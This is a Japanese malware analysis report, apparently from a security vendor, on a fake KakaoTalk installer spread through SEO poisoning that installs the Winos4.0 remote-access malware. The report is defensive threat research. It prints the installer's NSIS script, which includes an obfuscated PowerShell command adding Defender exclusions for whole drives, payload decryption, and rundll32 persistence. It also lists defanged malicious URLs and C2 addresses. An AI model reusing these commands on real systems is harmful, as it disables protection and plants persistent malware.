拡散手法 – SEO ポイズニング
一般的に、人々は Google の検索結果の最上位に表示されるサイトを「最も信頼できる公式サイト」として認識する。しかし攻撃者たちは、こうしたユーザーの心理を巧みに突いて、検索エンジンのアルゴリズムを操作し、悪性サイトを最上位に配置している。
SEO ポイズニングとは、攻撃者が検索エンジン最適化 (SEO) の技術を悪用し、自身が管理する悪性 Web サイトを特定キーワードの検索結果上位 (主に1ページ目の1~3位) に表示させる攻撃手法である。ユーザーが正規ソフトウェアのダウンロードや情報検索を行う際に精巧に作られた偽サイトへ誘導し、マルウェアの拡散や情報の窃取をすることが目的である。
AhnLab Security Intelligence Center (ASEC) は最近、このような SEO ポイズニング手法を利用して偽の KakaoTalk インストールファイルが拡散され、5,000 台以上の PC が感染したことを確認した。このファイルは表面上は KakaoTalk のインストーラーのように見えるが、内部でマルウェアを実行してシステムに常駐し続ける。
下記の [図 1] は、偽の KakaoTalk インストールファイルが Google で「KakaoTalk PC 版」を検索した際に最上位に表示されている様子を示している。公式の KakaoTalk ダウンロードページではなく、攻撃者が Kakao のキャラクターとロゴを使用して類似した外観に作り上げた偽サイトである。当該偽サイトは、検索エンジンのアルゴリズムを欺いて特定キーワード検索時に最上位に表示されるよう、悪性ページのランキングを強制的に引き上げる SEO ポイズニング手法を使用したものと見られる。
偽の KakaoTalk を拡散しているサイトは以下のとおりであり、
- hxxps://pc-kakaocorp[.]com
当該サイトを経由してリダイレクトされ、最終的にマルウェアがダウンロードされる URL は以下のとおりである。
- hxxps://download.i96l6[.]top/KakaoTalk_Setup_patched.rar
- hxxps://xinjiapox.oss-ap-southeast-1.aliyuncs[.]com/KakaoTa2258.zip
自社インフラによる確認の結果、上記のような方法で拡散された偽の KakaoTalk インストールファイルは、3月9日から拡散が開始されたことが確認されている。
マルウェア分析
偽サイトからインストールファイルをダウンロードした場合、以下のように KakaoTalk のアイコンを持つマルウェアがダウンロードされる。Kakao 社が正式に配布する証明書ではなく、中国の「NetEase」という名義を持つ無効な証明書で署名されている。
当該 NSIS インストールファイルは、正規の NSIS 構成ファイルとともに多数の暗号化されたデータを含んでおり、実行過程でこれを復号して Verifier.exe、AutoRecoverDat.dll などの悪性構成要素を生成・実行する。また、Windows Defender の除外パスを追加してセキュリティ機能を弱体化させ、DLL 登録によって持続性を確保する動作を行う。さらに正規の KakaoTalk_Setup.exe を同時に生成・配置することで、正規インストールファイルに偽装するという特徴を持つ。
| ; Defender 除外 (無効化)
StrCpy $0 “cmd.exe /C powe$\”$\”r$\”$\”s$\”$\”h$\”$\”ell.exe -Ex$\”$\”ec$\”$\”uti$\”$\”o$\”$\”nPol$\”$\”ic$\”$\”y By$\”$\”pa$\”$\”s$\”$\”s -C$\”$\”om$\”$\”ma$\”$\”n$\”$\”d Ad$\”$\”d$\”$\”-M$\”$\”pPr$\”$\”ef$\”$\”ere$\”$\”nce -Ex$\”$\”cl$\”$\”usion$\”$\”Path C:\, D:\,E:\,F:\” nsExec::Exec $0
; 暗号化ペイロードの復号およびドロップ StrCpy $R0 $TEMP\temp_k.txt StrCpy $R1 $TEMP\lic.dat DcryptDll::Decrypt FFF $R0 $R1 $LOCALAPPDATA\Verifier.exe
StrCpy $R2 $TEMP\Profilerjson DcryptDll::Decrypt FFF $R0 $R2 $LOCALAPPDATA\Profiler.json
StrCpy $R3 $TEMP\GPUCachexml DcryptDll::Decrypt FFF $R0 $R3 $APPDATA\GPUCache.xml
StrCpy $R5 $TEMP\GPUCache2xml DcryptDll::Decrypt FFF $R0 $R5 $APPDATA\GPUCache2.xml
DcryptDll::Decrypt FFF $R0 $R3 $APPDATA\Embarcadero\GPUCache.xml DcryptDll::Decrypt FFF $R0 $R5 $APPDATA\Embarcadero\GPUCache2.xml
StrCpy $R4 $TEMP\Auto.dat DcryptDll::Decrypt FFF $R0 $R4 $APPDATA\Embarcadero\AutoRecoverDat.dll
; 悪性 DLL 登録 (持続性) StrCpy $8 “cmd.exe /C $\”start rundll32.exe $APPDATA\Embarcadero\AutoRecoverDat.dll,DllRegisterServer$\”” nsExec::Exec $8
; メインペイロードの実行 Exec $LOCALAPPDATA\Verifier.exe Sleep 25000
; 正規 KakaoTalk インストールファイルの生成およびショートカット StrCpy $R9 $INSTDIR\DIR DcryptDll::Decrypt FFF $R0 $R9 $INSTDIR\KakaoTalk_Setup.exe CreateShortCut $DESKTOP\KakaoTalk_Setup.lnk $INSTDIR\KakaoTalk_Setup.exe
; 難読化された追加ファイルの組み込み File eqinpqabpwm File omyivwqtlzwtnl File xkaljrsp File ziucakk
; レジストリへのタグ付け WriteRegStr HKCU MicrosoftUser Source kakao |
最初のインストールファイル以降、悪性機能を実行する動作は2つのファイルに分かれる。大きくは、Verifier.exe を通じてロードされる ShellCode (Profiler.json) ファイルと、rundll32.exe を通じて実行された AutoRecoverData.dll がロードする ShellCode (GPUCache.xml) ファイルによって実行フローが区別される。
マルウェアが使用する主要なファイル間の関係は以下の表のとおりである。
| ファイル名 | 役割 |
| Verrifier.exe | 正規ソフトウェアにパッチを当て ShellCode (Profiler.json) をロード |
| Profiler.json | ShellCode (Reflective DLL Loader、sRDI オープンソース) |
| GPUCache.xml | Winos4.0 マルウェア |
| GPUCache2.xml | Winos4.0 マルウェア |
| AutoRecoverDat.dll | ShellCode (GPUCache.xml) をロードする Loader |
Verifier.exe と AutoRecoverDat.dll は実行される方式に違いがあるものの、最終的にはいずれも GPUCache.xml または GPUCache2.xml (Winos4.0 マルウェア) をロードする。
CreateMutexA API を通じてハードコードされた名前 77825d8f-46d1-42d0-b298-83068bf9e31d のミューテックスを生成した後、以下の2つの条件によってロードされる ShellCode が異なる。
- 条件1:同名のミューテックスの存在有無
- 条件2:%APPDATA%\Embarcadero パス上の ActivityLog.xml ファイルの存在有無
2つの条件がいずれも満たされる場合は %APPDATA%\Embarcadero\GPUCache2.xml という名前の ShellCode をロードし、2つの条件のうち1つでも満たされない場合は %APPDATA%\Embarcadero\GPUCache.xml という名前の ShellCode をロードする。
どの ShellCode をロードするかによって C2 が変更される点も確認されている。
-
GPUCache.xml
- C2 : 192.238.129[.]47
- Port : 18852
- GpuCache2.xml
- C2 : 119.28.70[.]225
- Port : 443
この際ロードされる GPUCache(2).xml ファイルは、0xE8 (OPCODE: CALL) で始まる ShellCode である。暗号化が適用されておらず、コードそのままの状態を保持しており、内部に別の実行ファイル (DLL) を含む形式を持っている。ShellCode が動作すると、当該 DLL ファイルをメモリ上にロードして実行する。
アンチウイルス製品がインストールされているかどうかを確認するロジックも存在する。攻撃者が確認対象とするアンチウイルス製品が中国で主に使用される 360 および ZhuDongFangYu であることから、本来の意図は中国を対象に拡散するために作られたものと推定される。
当該アンチウイルス製品がシステムに存在するかどうかによって、その後の持続性を確保する手法に違いが生じるが、結論としては以下のようにタスクスケジューラが作成される。
- パス (共通): Microsoft\Windows\AppID
- Task1: .NET Framework adv v6.0.4232
- Action: %LocalAppData%Verifier.exe
- Task2: .NET Framework JDAH v7.7
- Action: rundll32.exe %AppData%\Embarcadero\AutoRecoverDat.dll, DllRegisterServer
最終的に動作するマルウェアは Winos4.0 であることが確認されている。Winos4.0 マルウェアは、主にスクリーンキャプチャ、ファイル/プロセス制御、システム情報の収集、追加マルウェアのダウンロード、モニタリング/分析環境のバイパス機能を持っている。
特に、C2 通信が成功した場合、C2 から受信したパケットを VirtualAlloc で確保したメモリ空間に格納して実行するロジックが存在する。これは追加のマルウェアを実行できることを意味し、攻撃者が望む形で攻撃の流れを変更できることも意味する。
まとめ
見慣れたプログラムであるほど、ユーザーは疑わずに [ダウンロード] ボタンを押す傾向がある。攻撃者はまさにこうした心理的な油断を狙っている。
KakaoTalk のように日常生活に深く浸透しているプログラムを騙ることは、単なるハッキングを超えて社会全体に深刻な被害をもたらしうる。検索結果の最上位に表示されるからといって、必ずしも安全であるとは限らない。インストールファイルをダウンロードする前に、必ず公式ドメインであるかどうかを確認する習慣を身につけなければならない。
巧妙に操作されたファイル1つが、大切な個人情報や資産を一瞬で奪い去ってしまいうることを、決して忘れてはならない。
Categories: Uncategorized